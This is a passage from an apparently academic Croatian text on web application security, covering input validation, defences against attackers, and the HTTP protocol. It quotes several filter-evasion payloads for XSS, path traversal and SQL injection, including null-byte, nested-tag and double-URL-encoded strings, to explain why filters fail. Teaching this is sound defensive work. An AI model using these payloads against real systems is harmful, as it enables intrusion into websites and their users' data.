rukuje nizovima u izvršnim kontekstima, umetanjem NULL bajta bilo gdje prije izraza koji je

blokiran može izazvati da neki filtri prestanu procesuirati unos i zato ne identificiraju izraz.

Primjer 3:

%00<script>alert(1)</script>

2.1.5 Prihvati sve što se zna da je dobro.

11U ovom slučaju imamo "bijelu", dozvoljenu listu koja sadrži stringove ili uzorke/šablone ili

kriterije koji odgovaraju samo dobronamjernom unosu. Validacijski mehanizmi dopuštaju

podatke koji se podudaraju sa onima u "bijeloj" listi a blokiraju sve ostalo. Npr. aplikacija

prije nego što izvrši zahtjev i dohvati podatke iz baze podataka validira da li se unos sastoji

samo od brojeva i slova i da li je dugačak određen broj znakova. Ovaj način se smatra kao

jedan od učinkovitijih za rukovanje sa potencijalno opasnim unosima. Naravno nije moguće

uvijek koristiti ovakav način zaštite, jer npr. neka polja za unos imena i prezimena moraju

podržavati neke znakove, pošto npr. ime može sadržavati crtice ili apostrofe, a to opet može

biti iskorišteno za napade. Iako je vrlo učinkovit ipak niti ovaj način ne predstavlja

višenamjensko rješenje problema rukovanja unosima.

2.1.6 Saniranje

12Ovaj pristup prihvaća unos koji može biti štetan ali ga ne odbacuje nego ga sanira na

različite načine kako ne bi imao negativne i neželjene učinke. Potencijalno opasni znakovi

mogu biti uklonjeni iz podataka, ostavljajući samo ono što se zna da je sigurno, a i to se još

može kodirati i provjeriti prije samog izvršavanja. Ovakav prostupak je vrlo efektivan u borbi

protiv malicioznog unosa.

11

Izvor: The Web Application Hacker's Handbook str 60 12

Izvor: The Web Application Hacker's Handbook str. 60-61

13

2.1.7 Sigurno rukovanje podacima

13Velik broj ranjivosti web aplikacija se javlja zbog nesigurnog obrađivanja unesenih

podataka. Ranjivosti se često mogu izbjeći ne samo provjerama unosa nego osiguravanjem da

je obrada nad podacima sigurna. Moguće je koristiti sigurne programske metode koje su

dostupne za izbjegavanje uobičajenih problema. Npr. SQL injection napadi se mogu spriječiti

kroz pravilnu uporabu parametriziranih upita za pristup bazama podataka.

2.1.8 Semantičke provjere

14Napadač može izvesti napad takav da je unos validan, nije maliciozan , međutim ono što

napad može čini malicioznim su različite okolnosti pod kojima se unošeni podaci

podnose(submit-aju). Npr. napadač može pokušati doći pristupa bankovnog računa nekog

korisnika tako što promjeni identifikacijski broj (ID) računa koji se prenosi u sakrivenom

polju forme. Da bi aplikacija to spriječila mora provjeriti da li ID računa pripada korisniku

koji je podnio zahtjev za neku akciju.

2.1.9 Granica validacije

15Provjere se u današnjim aplikacijama ne smiju odvijati samo kod unosa podataka u forme, i

prilikom prijava i obrada podataka već i nad podacima i unosima unutar korisničkih profila.

Stoga nije točno:

“ the role of input validation is to clean potentially malicious data on

arrival and then pass the clean data to the trusted application. From this point

onward, the data may be trusted and processed without any further checks or

concern about possible attacks.“

Zaštiti odjednom od svih mogućih napada - je ponekad nemoguće izvesti. Npr. zaštita od

XSS-a tako da HTML kodira znak > kao > i zaštita kod command injection napada tako da

se blokira unos koji sadržava & i ; znakove. Nekad je nemoguće izvesti.

13



Izvor: The Web Application Hacker's Handbook str 61

14

16Slika 2: Validacija podataka na različitim razinama obrade

2.1.10 Više-koračna validacija 17

Često kod mehanizama za rukovanje unosom nastupa problem kad se unesenim podacima

manipulira preko/kroz nekoliko koraka validacijske logike. Ako se tim procesom ne rukuje

pažljivo, korisnik može konstruirati takav unos da se maliciozni podaci mogu provući kroz

validacijski mehanizam. Jedan tip problem nastupa kada aplikacija pokuša sanirati unos

korisnika uklanjajuću ili kodirajući neke od znakova ili izraza. Na primjer aplikacija se može

pokušati obraniti od XSS napada tako da iz podataka koje je korisnik unio ukloni sve izraze

tipa:

<script>

Ali napadač može biti u mogućnosti da zaobiđe ovakav tip zaštite, ako unese ovakav izraz:

<scr<script>ipt>

Kada je blokirani izraz uklonjen, podaci koji ga okružuju se spoje i opet tvore maliciozan

izraz. Razlog ovome je u tome što se filtar ne koristi rekurzivno.

Slično tome, ako se obavlja više od jednog koraka validacije nad unesenim podacima

korisnika, napadač može biti u mogućnosti iskoristiti poredak ovih koraka da zaobiđe filtar.

Na primjer, aplikacija prvo rekurzivno ukloni ../ i tada rekurzivno ukloni ..\ tada se unos: ...\/

može koristiti kao napad.

16



15

2.1.10.1 Problem kanonizacije

Kada je unos poslan sa korisnikovog web preglednika, može biti kodiran na različite načine.

Te sheme kodiranja postoje kako bi obični znakovi, slova i binarni podaci mogli biti sigurno

preneseni preko HTTP protokola. Kanonizacija je proces pretvaranja ili dešifriranja podataka

u normalne znakove i slova. Ako je bilo koja kanonizacija izvršena nakon što je primijenjen

filtar za podatke unosa, napadač može biti u mogućnosti da koristi prikladnu shemu kodiranja

da zaobiđe mehanizam za validaciju.

Na primjer:

Aplikacija se može pokušati obraniti od SQL injection napada tako da blokira ulaz koji sadrži

apostrof. Ali ako je unos kanoniziran, napadač može iskoristiti dupli URL kodiranje kako bi

zaobišao filtar.

Primjer:

%2527

Kada je unos primljen, aplikacijski server dekodira URL pa unos postaje %27

Ovo ne vraća apostrof, pa je takav unos dopušten od strane aplikacijskih filtra. Ali kada

aplikacija radi daljnje URL dekodiranje, unos je pretvoren u apostrof a već je zaobišao filtar.

Ako aplikacija ukloni apostrof umjesto da ga blokira i tada izvodi daljnju kanonizaciju, tada

bi sljedeći unos mogao proći:

%%2727

Valja naglasiti kako višestruka validacija i koraci kanonizacije u ovim slučajevima se ne bi u

cijelosti trebala odvijati na poslužiteljskoj strani aplikacije. U sljedećem primjeru su kodirani

nekoliko znakova i izraza:

<iframe src=javasc&#x72ipt:alert(1) >

Ako serverska strana aplikacije koristi filtar za filtraciju unosa kako bi se blokirali JavaScript

izrazi i znakovi, kodirani unosi bi mogu uspješno proći. Ali ako se unos kopira u odgovor

aplikacijskog poslužitelja, neki preglednici dekodiraju src vrijednost parametra i izvršava se

ugrađeni JavaScript kod.

16

Ako serverska strana aplikacije koristi filtar za filtraciju unosa kako bi se blokirali JavaScript

izrazi i znakovi, kodirani unosi bi mogu uspješno proći. Ali ako se unos kopira u odgovor

aplikacijskog servera, neki preglednici dekodiraju src vrijednost parametra i izvršava se

ugrađeni JavaScript kod.

Osim kod standardnih shema za kodiranje koje se koriste u web aplikacijama, problemi

kanonizacije se mogu javiti u situacijama gdje neka komponenta u aplikaciji pretvara jedan

set znakova u drugi. Npr. neke tehnologije izvode automatsko sapiranje znakova na temelju

sličnosti. Znakovi >> i << se pretvore u < i >, ili Ÿ i Â se pretvore u Y i A. Ovako ponašanje

često dovodi do toga da neki zabranjeni znakovi ili riječi mogu zaobići filtre.

2.2 Rukovanje napadačima 18

Kod dizajniranja i programiranja aplikacije valja pretpostaviti da će aplikacija biti meta

raznih hakerskih napada. Glavna funkcija aplikacije je da će se ona moći nositi, i reagirati na

te napade na kontroliran način. Ti mehanizmi se sastoje od sljedećeg:

Rukovanje greškama

Održavanje revizijskih logova

Obavještavanje administratora

Reakcije na napade

2.2.1 Rukovanje greškama 19

Koliko god programeri bili pažljivi prilikom provjere unesenih korisničkih podataka gotovo

je neizbježno da će se neke neočekivane pogreške pojaviti. Greške koje se mogu pojaviti od

akcija običnih korisnika se vrlo vjerojatno mogu identificirati za vrijeme testiranja aplikacije i

stoga su one uzete u obzir prilikom razvijanja aplikacije. Međutim teško je očekivati sve

moguće načine interakcije koje sa aplikacijom ima maliciozan korisnik, stoga je potrebno

očekivati još neke greške kada je aplikacija napadnuta. Ključni obrambeni mehanizam za

aplikaciju je ispravno rukovanje neočekivanim pogreškama koje se mogu pojaviti, a to

podrazumijeva i oporavak od istih te ispis odgovarajućih poruka o grešci. Aplikacija ne bi

smjela vratiti odnosno prikazati nikakve sistemski generirane poruke ili debug informacije.

18



17

Pretjerano opširna poruka o grešci može uvelike pomoći zlonamjernim korisnicima u

napredovanju njihovih napada na aplikaciju. Napadač može iskoristiti neispravno rukovanje

pogreškama da dohvati osjetljive informacije unutar same poruke o pogrešci. Iz tih poruka se

mogu otkriti različite informacije, od programskog jezika u kojem je napravljena aplikacija,

funkcija koje se koriste, baze podataka u pozadini, pa čak ponekad i imena korisnika ili

tablica unutar baze podataka, itd. Te informacije mogu pomoći napadaču da shvati kako

aplikacija funkcionira u pozadini i usmjeriti ga prema ranjivom dijelu.

Većina web programskih jezika pružaju dobru podršku za rukovanje greškama kroz try-catch

blokove i iznimke. Kod aplikacije bi trebao sadržavati ove konstrukte kako bi se „uhvatile“

specifične i one generalne greške te kako bi se njima ispravno rukovalo. Također većina

poslužitelja može biti konfigurirana da se na različite načine nosi sa greškama koje nisu

obrađene i rukovane od strane aplikacije. Primjerice prikaz poruka o pogreškama bez

informacija (uninformative error messages) i slično.

2.2.2 Održavanje revizijskih logova 20

Logovi su vrlo važni kod otkrivanja pokušaja malicioznih upada u aplikaciju. Efektivni

logovi bi trebali omogućiti vlasnicima aplikacije da shvate točno što se dešava, ako postoji,

koja ranjivost je iskorištena, da li je napadač dobio neautoriziran pristup podacima ili

napravio neku od neautoriziranih akcija i koliko je god moguće dostaviti više informacije o

identitetu uljeza odnosno napadača.

Najčešće se bilježi sljedeće:

Svi događaji koji su povezani sa autentifikacijom kao što su uspješna i neuspješna

prijava ili promjena lozinke

Ključne transakcije, kao što su uplate kreditnim karticama i prijenos novčanih

sredstava

Pokušaji pristupa koji su blokirani od strane mehanizma za kontrolu pristupa

Svaki zahtjev koji sadrži znani napadački niz znakova koji pokazuje maliciozne

namjere

U mnogim aplikacijama koje zahtijevaju visoku sigurnost, poput onih korištenih od strane

banaka, svaki zahtjev klijenta je zabilježen u potpunosti, pružajući kompletan forenzički zapis

20


18

koji može biti korišten u istragama incidenata. Takvi logovi bi se trebali čuvati na sigurnim i

nezavisnim lokacijama, jer ako su slabo zaštićeni pružaju napadaču „zlatni rudnik“

informacija.

Revizijski logovi, omogućuju vlasniku aplikacije da retrospektivno istraži pokušaje napada, i

ako je moguće, poduzimanje pravnih mjera protiv počinitelja. Međutim u mnogim situacijama

poželjno je da se napravi hitna akcija u realnom vremenu kao odgovor na pokušaj napada. Na

primjer, administratori mogu blokirati IP adresu ili korisnički račun napadača. U ekstremnim

slučajevima mogu čak i privremeno onemogućiti aplikaciju dok ne istraže napad i ne

poduzmu korektivne korake.

Čak i ako je napad uspješan i upad u sustav se već dogodio, učinci se mogu ublažiti ako se u

ranoj fazi pokrene obrambena akcija.

Anomalni događaji koji se prate od strane mehanizama za dojavu najčešće uključuju sljedeće:

Uporabne anomalije kao što su velik broj zahtjeva dobivenih od samo jedne IP adrese

ili korisnika ukazuju na skriptni napad.

Poslovne anomalije kao što su neobična brojka novčanih sredstava koji se prenose sa

ili prema jednom korisničkom računu.

Zahtjevi koji sadrže poznate oblike napada.

Zahtjevi u kojima su podaci koji su sakriveni od strane normalnih korisnika

promijenjeni.

Neke od ovih funkcija postoje i mogu se osigurati kroz aplikacijske vatrozide i

proizvode/softvere za otkrivanje upada. Obično ti softveri koriste više pravila temeljnih na

potpisima i anomalijama kako bi se identificirala maliciozna uporaba aplikacije i reaktivno

blokirali maliciozni zahtjevi i obavijestili administratori. Ti proizvodi mogu tvoriti vrlo

vrijedan sloj obrane, štiteći web aplikaciju, posebno u slučajevima kada su u aplikaciji poznati

problemi ali resursi potrebni za njihovo otklanjanje nisu trenutno dostupni. Ali njihova

efektivnost je obično limitirana od činjenice da je svaka aplikacija drugačija tako da su pravila

u nekoj mjeri opća. Web aplikacijski vatrozidi su dobri u identificiranju očitih napada, gdje

napadač svakim zahtjevom šalje standardne napadačke stringove. Međutim, mnogi napadi su

19

suptilniji od toga. Na primjer, napadač je možda promijenio broj računa u sakrivenom polju

forme kako bi došao do korisničkih podataka. U tim slučajevima poslani zahtjev od strane

napadača može biti identičan onom kojeg je poslao korisnik. Ono što ga čini malicioznim jesu

okolnosti pod kojima je zahtjev napravljen. Najefektivniji način za implementaciju dojava u

stvarnom vremenu je da se taj mehanizam usko poveže i integrira sa mehanizmom za

validaciju.

2.2.3 Reagiranje na napade 21

Mnogi sustavi visoke sigurnosti sadrže ugrađene mehanizme da reagiraju defenzivno prema

onim korisnicima koji su identificirani kao maliciozni. Zbog toga što je svaka aplikacija

različita, Većina današnjih napada zahtjeva od napadača da sustavno ispituje ranjivosti

podnošenjem brojnih zahtjeva koji sadrže smišljene podatke koji bi otkrili prisutnost različitih

ranjivosti. Efektivni mehanizam validacije ulaznih podataka identificira velik dio tih

malicioznih zahtjeva i blokira ulaz podataka kako ne bi bilo neželjenih posljedica po

aplikaciju. Međutim, logično je pretpostaviti da će neki podaci zaobići filtre i da aplikacija

sadrži neke ranjivosti koje čekaju da budu nađene i iskorištene. Vrlo je vjerojatno da će

napadač koji sistematično napada aplikaciju pronaći takve ranjivosti. Iz tog razloga aplikacije

koriste mjere za automatsku reakciju kako bi osujetile aktivnosti napadača koji djeluje na

ovakav način. Na primjer, u tim slučajevima aplikacija bi sve sporije reagirala na zahtjeve

napadača ili bi prekinula napadačevu sesiju, što bi zahtijevalo od napadača da se ponovno

prijavi ili napravi neke druge korake prije nego što može nastaviti sa napadom. Iako takve

mjere neće u potpunosti obraniti od strpljivih i odlučnih napadača, umanjiti će veliki broj

uobičajenih napadača i dat će više vremena napadačima kako bi nadgledali situaciju i ako je

potrebno poduzeli i drastičnije korake.

2.2.4 Upravljanje aplikacijom 22

Svaka korisna aplikacija treba biti upravljana i administrirana, i to obično tvori ključan dio

sigurnosnih mehanizama aplikacije. Jer pruža način da administratori upravljaju korisničkim

računima i grupama, nadgledanja pristupa, funkcije bilježenja, izvršavaju dijagnostičke

zadatke i sl. U mnogim aplikacijama administrativne funkcije su implementirane u samu

aplikaciju, i može im se pristupiti kroz isto web sučelje kao što imaju i obični korisnici. U tom

slučaju je to ujedno i najzanimljivije i najučestalije mjesto napada za napadače jer može

napadačima omogućiti mnoge privilegije.

21



20

Na primjer:

Slabosti u autentifikacijskom mehanizmu mogu omogućiti napadaču da dobije

administrativni pristup ugrožavajući na taj način cijelu aplikaciju.

Mnoge aplikacije ne implementiraju efektivnu kontrolu pristupa nekih svojih

administrativnih funkcija. Napadač može pronaći načine kreiranja novog korisničkog

računa sa visokim privilegijama.

Administrativna funkcionalnost je često podvrgnuta manje rigoroznom sigurnosnom

testiranju, jer se smatra da se korisnicima vjeruje, ili zbog toga što su penetracijski

testeri dali pristup samo nisko privilegiranim računima. Često neke funkcionalnosti

trebaju obavljati opasne operacije kao što su pristup podacima na disku ili sistemskim

naredbama. Ako napadač može ugroziti administrativnu funkciju, često je moguće da

to iskoristi kako bi preuzeo kontrolu nad čitavim poslužiteljem.

Administrativne funkcionalnosti često uključuju prikazivanje podataka koji potječu od

običnih korisnika. Bilo koja XSS ranjivost unutar administrativnog sučelja može

ugroziti korisničku sesiju koja ima visoke privilegije.

3 HTTP protokol 23

Hypertext transfer protocol (HTTP) je temeljni komunikacijski protokol koji se koristi za

pristup webu, i koriste ga sve današnje web aplikacije. To je jednostavan protokol koji je

isprva bio namijenjen za dohvaćanje statičkih tekstualnih resursa. U međuvremenu se proširio

i iskoristio na razne načine kako bi podržao kompleksne distribuirane aplikacije koje su sada

uobičajene. HTTP koristi model temeljen na porukama u kojem klijent šalje poruku zahtjeva a

server uzvraća porukom odgovora.

3.1 HTTP Request

24Sve HTTP poruke(i zahtjevi i odgovori) se sastoje od jednog ili više zaglavlja, svaki u

odvojenoj liniji, nakon toga dolazi obavezna prazna linija i nakon toga slijedi tijelo poruke.

GET /auth/488/detalji.ashx?uid=129 HTTP/1.1 Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/x-

shockwaveflash, */*

23



21

Referer: https://mdsec.net/auth/488/Home.ashx Accept-Language: en-GB User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; InfoPath.3; .NET4.0E; FDM; .NET CLR 1.1.4322) Accept-Encoding: gzip, deflate Host: mdsec.net Connection: Keep-Alive Cookie: SessionId=5B70C71F3FD4968935CDB6682E545476

Prva linija svakog HTTP zahtjeva se sastoji od tri dijela odvojenih prazninama.

Glagol koji označuje HTTP metodu. Najčešće korištena metoda je GET, čija je

funkcija da preuzme resurs sa web servera. GET zahtjev nema tijela poruke.

URL zahtjeva – URL je obično naziv za resurs koji je zatražen zajedno sa dodatnim

upitnim nizom koji sadrži parametre koje klijent prenosi do tog resursa. Upitni niz je

označen sa ? znakom unutar URL-a.

Verzija HTTP-a koja se koristi. Jedine verzije HTTP-a koje se uobičajeno koriste na

Internetu su 1.0 i 1.1. Većina preglednika koristi verziju 1.1. Postoji nekoliko razlika

između specifikacija ovih dviju verzija; ali jedina razlika koja najčešće susreće kod

napada na web aplikacije je ona u verziji 1.1 a to je obavezan Host zahtjev.

Zaglavlje Referer se koristi da bi ukazalo na URL formu iz koje se pokreće zahtjev

User-Agent zaglavlje se koristi da bi se dobile informacije o web pregledniku ili

nekom drugom softveru koji je stvorio zahtjev. Većina preglednika uključuju Mozzila

prefiks iz nekih povijesnih razloga. Taj niz se prije koristio od strane dominantnih

Netscape preglednika, te su ostali preglednici željeli istaknuti da su i oni kompatibilni

sa ovim standardom.

Host zaglavlje specificira ime računala koje se pojavi u cijelom URL-u koji se

dohvaća. Ovo je potrebno kada se više web stranica nalaze na istom web poslužitelju,

jer URL koji je poslan u prvoj liniji zahtjeva obično ne sadrži ime računala.

Cookie zaglavlje se koristi kako bi se podnijeli dodatni parametri koje je poslužitelj

izdao klijentu.

22

3.2 HTTP Response 25

Tipičan HTTP odgovor izgleda ovako:

HTTP/1.1 200 OK Date: Tue, 19 Apr 2011 09:23:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc X-AspNet-Version: 2.0.50727 Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1067 <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http:// www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html xmlns=”http:// www.w3.org/1999/xhtml” ><head><title>Your details</title> ...

Prva linija svakoga HTTP odgovora sastoji se od tri stavke odvojene prazninama.

Verzija HTTP-a

Status koji pokazuje rezultat zahtjeva. 200 je najuobičajeniji status; znači da je zahtjev

bio uspješan i da je dobiveno ono što se traži.

Tekstualna fraza koja opisuje status odgovora. Ovo može biti bilo koja vrijednost i

trenutno se ne koristi od strane web preglednika.

Server zaglavlje sadrži informacije o softveru kojeg koristi poslužitelj i ponekad još

neke detalje kao što su instalirani moduli i operativni sustav koji koristi server. Ovi

podaci i mogu i ne moraju biti precizni i točni.

Set-Cookie zaglavlje izdaje pregledniku daljnje cookie-e; ovo se nazad podnosi u

Cookie zaglavlju sljedećih zahtjeva prema poslužitelju.

Pragma zaglavlje upućuje preglednike da ne pohranjuju odgovor u svoju privremenu

(cache) memoriju.

Expires zaglavlje ukazuje da je sadržaju dogovora istekao rok i da je zastario i da se ne

bi smio spremiti u privremenu memoriju. Ovo se često koristi kada se u odgovoru šalje

dinamički sadržaj pa se želi osigurati da web preglednici u naknadnim situacijama

dobe novu inačicu sadržaja.

Gotovo svi HTTP odgovori sadrže tijelo poruke nakon zaglavlja. Content-Type

zaglavlje ukazuje da tijelo poruke sadrži HTML dokument.

Content-Length zaglavlje pokazuje dužinu poruke u tijelu izraženu u bajtima.

25


23

3.3 Generalna zaglavlja

Postoje još mnoga druga zaglavlja koja se koriste a nisu navedena, primjerice:

Connection govori drugoj strani u komunikaciji dali da zatvori TCP konekciju nakon

što je završen HTTP prijenos završen ili da ju drži otvorenu za daljnje poruke.

Content Encoding – specificira koja vrsta kodiranja se koristi za sadržaj koji se nalazi

unutar tijela poruke kao što je gzip, koji se koristi od strane nekih aplikacija kako bi se

kompresirali odgovori radi bržeg prijenosa.

Transfer-Encoding – specificira bilo koje kodiranje koje je izvršeno na tijelu poruke

kako bi se olakšao njezin prijenos putem HTTP-a. Najčešće specificira kodiranje

blokova

3.3.1 Dodatna zaglavlja zahtjeva

Accept zaglavlje daje informacije serveru o vrsti sadržaj koju je klijent voljan

prihvatiti., kao što su tipovi slika, formati dokumenata itd.

Accept-Encoding zaglavlje daje informacije poslužitelju koje tipove kodiranja je

klijent voljan prihvatiti.

Authorization zaglavlje podnaša korisničke podatke poslužitelju za neke od ugrađenih

autentifikacijskih mehanizama.

If-Modified-Since specificira kada je preglednik zadnji puta primio traženi resurs. Ako

je resurs nepromijenjen od toga vremena, poslužitelj može narediti klijentu da koristi

svoju kopiju koja je spremljena u pomoćnoj memoriji, i tada koristi odgovor sa

statusnim kodom 304.

If-None-Match specificira entity tag, koji je identifikator koji označava sadržaj tijela

poruke. Preglednik podnosi entity tag kojeg je poslužitelj izdao zajedno sa traženim

resursom kada je zadnji puta dobiven. Pomoću entity tag-a poslužitelj može utvrditi da

li je preglednik koristio kopiju resursa koja se nalazi u pomoćnoj memoriji.

Origin zaglavlje se koristi u više domenskim Ajax zahtjevima da pokaže domenu iz

koje zahtjev potječe.

24

3.3.2 Dodatna zaglavlja odgovora

Access-Control-Allow-origin – pokazuje da li se resurs može dohvatiti putem Ajax zahtjeva

kroz više domena.

Cache-Control – prosljeđuje pregledniku direktive o radu sa pomoćnom memorijom. Npr.

No-cache.

ETag – Specificira entitiy tag. Klijenti mogu podnositi ovaj identifikator u budućim

zahtjevima za istim resursom unutar If-None-Match zaglavlja kako bi obavijestili poslužitelj

koju verziju resursa trenutno preglednik trenutno sadrži u svojoj cache(pomoćna) memoriji.

Location zaglavlje se koristi u odgovorima (onima kojima statusni kod počinje sa 3)

preusmjeravanja da se odredi cilj preusmjeravanja.

WWW-Authenticate zaglavlje se koristi u odgovorima koji imaju statusni kod 401 kako bi se

prikupili detalji o tipu autentifikacije koju poslužitelj podržava.

X-Frame-Options zaglavlje pokazuje da li i kako se trenutni odgovor može učitati unutar

preglednikova okvira.

3.4 26HTTP metode: Postoje sljedeće HTTP metode:

GET

POST

TRACE

HEAD

OPTIONS

PUT

I dr.

U praksi se najviše koriste GET i POST, dok se ostale metode koriste vrlo rijetko ili se uopće

ne koriste, a neke niti nisu podržane od strane preglednika.

26


25

3.5 Cookie

27Cookie-i su dio HTTP protokola na koji se Većina web aplikacija oslanja. Često mogu biti

korišteni kao sredstvo za iskorištavanje ranjivosti. Cookie mehanizam omogućuje poslužitelju

da šalje podatke klijent, koje klijent sprema i ponovno ih šalje poslužitelju. Za razliku od

ostalih tipova parametara u zahtjevu, cookie-i se nastavljaju ponovno slati poslužitelju u

svakom novom zahtjevu bez ikakve potrebne akcije od strane korisnika aplikacije.

Poslužitelj izdaje cookie-e koristeći Set-Cookie zaglavlje:

Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc

Korisnikov preglednik automatski nadodaje sljedeće zaglavlje na buduće zahtjeve prema tom

istom poslužitelju:

Cookie: tracking=tI8rk7joMx44S2Uu85nSWc

Cookie-i se uobičajeno sastoje od imena i vrijednosti ali isto tako mogu se sastojati od bilo

kojeg znakovnog niza koji ne sadrži razmak. Više cookie-a se može izdati koristeći više Set-

Cookie zaglavlja u odgovoru poslužitelja. Šalju se natrag do poslužitelja u istom Cookie

zaglavlju odvojeni točkom zarez (;)

Osim vrijednosti samog Cookie-a, Set-Cookie zaglavlje može sadržavati bilo koji od sljedećih

opcionalnih atributa, koji se mogu koristiti za kontrolu kako preglednik rukuje sa cookie-

ijima:

expires postavlja datum do kojeg je cookie validan. To omogućuje pregledniku

da pohrani cookie i koristi ga u narednim sesijama sve do datuma isteka. Ako

ovaj parametar nije upotrjebljen tada je cookie validan samo za trenutnu

sesiju.

domain specificira domenu za koju je cookie validan. Domena mora biti ista ili

mora biti domena-roditelj domene iz koje je cookie primljen.

paths specificira putanju URL-a za koju je cookie validan.

secure – ako je postavljen, cookie će se slati samo u HTTPS zahtjevima.

HttpOnly – ako je ovaj atribut postavljen, cookie-u se ne može pristupiti putem

JavaScript-a na strani klijenta.

Svaki od ovih cookie atributa mogu imati utjecaj na sigurnost aplikacije.

27


26

3.6 Statusni kodovi 28

Svaki HTTP odgovor u prvoj liniji mora sadržavati statusni kod, koji pokazuje rezultat

zahtjeva. Statusni kodovi su podijeljeni prema prvoj znamenci koda u 5 grupa:

1xx - Informativne

2xx – Zahtjev je bio uspješan

3xx – Klijent je preusmjeren na drugi resurs

4xx – Zahtjev sadrži neki tip greške

5xx – Server je naišao na grešku dok je ispunjavao zahtjev

Postoje mnogi specifični statusni kodovi, koji se koriste samo u specijalnim slučajevima.

Sljedeći statusni kodovi se najčešće pojavljuju kod napada na web aplikacije:

100 Continue se pojavi u nekim slučajevima kada klijent podnese zahtjev koji sadrži

tijelo. Odgovor ukazuje da je zaglavlje zahtjeva primljeno i da bi klijent trebao

nastaviti sa slanjem tijela. Poslužitelj vraća drugi odgovor kada je zahtjev završen u

cijelosti.

200 Ok ukazuje da je zahtjev uspješan i da je tijelo odgovora sadrži rezultat zahtjeva.

201 Created se pojavi u odgovoru kada je u zahtjevu primljen PUT, i ukazuje na to da

je zahtjev uspješan.

301 Moved Permanently trajno preusmjerava preglednik na drugi URL, koji je

specificiran unutar Location zaglavlja. Klijent bi u budućnosti trebao koristiti novi

URL a ne onaj prvobitni.

302 Found privremeno preusmjerava preglednik na drugi URL, koji je specificiran u

zaglavlju Location. Klijent bi se trebao u narednim zahtjevima trebao vratiti na

originalan URL.

304 Not Modified upućuje preglednik da koristi kopiju resursa iz zahtjeva spremljenog

unutar svoje pomoćne memorije. Poslužitelj koristi If-Modified-Since i If-None-Match

zaglavlja zahtjeva da bi odredio da li klijent ima zadnju verziju resursa.

28


27

400 Bad Request ukazuje da je klijent podnio nevažeći HTTP zahtjev. To se najčešće

događa, kada se zahtjev mijenja na pogrešan način, kao što je umetanje razmaka

unutar URL-a.

401 Unauthorized ukazuje da poslužitelj zahtjeva HTTP autentifikaciju prije nego što

će zahtjev biti odobren. WWW-Authenticate zaglavlje sadrži detalje o tipu

atuentifikacije koji je podržan.

403 Forbidden ukazuje da nikome nije dopušten pristup prema resursu zahtjeva, bez

obzira na autentifikaciju.

404 Not Found ukazuje da zahtijevani resurs ne postoji.

405 Method Not Allowed ukazuje da metoda koja se koristi u zahtjevu nije podržana

za određen URL. Na primjer, ovaj status se može pojaviti ako se koristi PUT metoda

tamo gdje nije podržana.

413 Request Entity Too Large – Ako se ispituju ranjivosti prelijevanja međuspremnika

(buffer overflow) u izvornom kodu i koriste se dugački nizovi podataka, to znači da je

tijelo zahtjeva preveliko da bi poslužitelj mogao obraditi.

414 Request URI Too Long je sličan statusu 413. Ukazuje na to da je URL koji se

koristi u zahtjevu prevelik da bi ga poslužitelj mogao obraditi

500 Internl Server Error ukazuje da je server naišao na grešku dok je ispunjavao

zahtjev. Ovo se pojavljuje kada se podnese neočekivani unos koji uzrokuje grešku

negdje u procesu obrade unutar aplikacije. Poželjno je pomno promotriti cijeli sadržaj

odgovora poslužitelja ne bi li se uočili neki detalji koji bi ukazivali na informacije o

grešci.

503 Service Unavailable obično ukazuje na to da iako poslužitelj funkcionira i može

odgovarati na zahtjeve, aplikacija kojoj se pristupa putem poslužitelja ne reagira. Ovo

stanje može biti rezultat neke izvršene akcije.

28

3.7 HTTP autentifikacija 29

HTTP protokol sadrži vlastite mehanizme za autentifikaciju korisnika koristeći različite

autentifikacijske sheme:

Basic je jednostavan autentifikacijski mehanizam koji sa svakom porukom šalje

korisničke podatke kao Base64 kriptiran niz unutar zaglavlja zahtjeva.

NTLM je "challenge-response" mehanizam koji koristi verziju NTLM Windows

protokola.

Digest je "challenge-response" mehanizam koji koristi MD5

3.7.1 URL kodiranje

URL-ovi mogu sadržavati samo printabilne znakove u US-ASCII setu znakova; a to znači

znakove koji su u rasponu od 0x20 do 0x7e. Nekoliko znakova unutar raspona je zabranjeno

jer imaju specijalno značenje unutar URL sheme ili unutar HTTP protokola.

URL encoding shema se koristi za kodiranje bilo kojeg problematičnog znaka unutar

proširenog ASCII seta znakova tako da se mogu sigurno transportirati putem HTTP protokola.

Kodiranje bilo kojeg znaka se sastoji od % prefiksa iza kojeg slijedi dvoznamenkasti ASCII

kod znaka prikazan u heksadecimalnom zapisu. Primjer znakova koji se često kodiraju:

%3d – =

%25 – %

%20 – razmak

%0a – nova linija

%00 – null byte

Kod napada na web aplikacije svi sljedeći znakovi se kodiraju prije nego se ubacuju kao

podaci unutar HTTP zahtjeva:

Razmak % ? & = ; + #

29


29

3.7.2 Unicode kodiranje

Unicode je standard za kodiranje znakova koji je dizajniran da podržava sve svjetske sisteme

pisanja. 16-bit Unicode kodiranje radi slično kao i URL kodrianje. Za prijenos putem HTTP-

a 16-bit Unicode kodirani znakovi koriste oblik zapisa koji počinje sa %prefiksa iza kojeg

slijede Unicode znakovi prikazani u hexadecimalnom obliku. Primjer:

%u2215 – /

%u00e9 – é

UTF-8 je standard za kodrianje promjenjive dužine koji koristi jedan ili više bajtova za prikaz

pojedinog znaka. Za prijenos putem HTTP-a, UTF-8 kodirani višebajtni znakovni oblik

koristi heksadecimalni prikaz za savki pojedini bajt koji slijedi odmah iza %prefiksa. Primjer:

%c2%a9 – ©

%e2%89%a0 – ≠

Kod napada na web aplikacije, najzanimljivije je upravo Unicode kodiranje jer se može

koristiti da se zaobiđu validacijski mehanizmi.

3.7.3 HTML kodiranje

HTML kodiranje se koristi za prikaz problematičnih znakova tako da se oni mogu sigurno

koristiti unutar HTML dokumenta. Različiti znakovi imaju specijalna značenja kao

metapodaci unutar HTML-a i koriste se kako bi se definirala struktura dokumenta a ne njegov

